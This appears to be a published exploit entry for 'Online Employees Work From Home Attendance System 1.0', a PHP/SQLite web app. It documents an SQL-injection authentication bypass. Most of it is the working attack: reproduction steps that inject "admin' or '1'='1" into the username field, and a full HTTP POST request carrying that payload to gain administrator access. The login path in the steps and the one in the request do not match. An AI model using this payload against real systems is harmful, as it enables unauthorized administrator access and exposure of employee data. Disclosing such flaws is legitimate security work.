Online Employees Work From Home Attendance System 1.0 SQL Injection

`# Exploit Title: Online Employees Work From Home Attendance System 1.0 - SQLi Authentication Bypass  
# Date: 08.10.2021  
# Exploit Author: Merve Oral  
# Vendor Homepage: https://www.sourcecodester.com/php/14981/online-employees-work-home-attendance-system-php-and-sqlite-free-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14981&title=Online+Employees+Work+From+Home+Attendance+System+in+PHP+and+SQLite+Free+Source+Code  
# Version: 1.0  
# Tested on: Windows 10, Kali Linux  
# Online Employees Work From Home Attendance System/Logs in a Web App v1.0 Login page can be bypassed with a simple SQLi to the username parameter.  
  
Steps To Reproduce:  
1 - Go to the login page http://localhost/audit_trail/login.php  
2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.  
3 - Click on "Login" button and you are logged in as administrator.  
  
PoC  
  
POST /wfh_attendance/Actions.php?a=login HTTP/1.1  
Host: merve  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 40  
Origin: http://merve  
Connection: close  
Referer: http://merve/wfh_attendance/admin/login.php  
Cookie: PHPSESSID=55nnlgv0kg2qaki92o2s9vl5rq  
  
username=admin'+or+'1'%3D'1&password=any  
  
`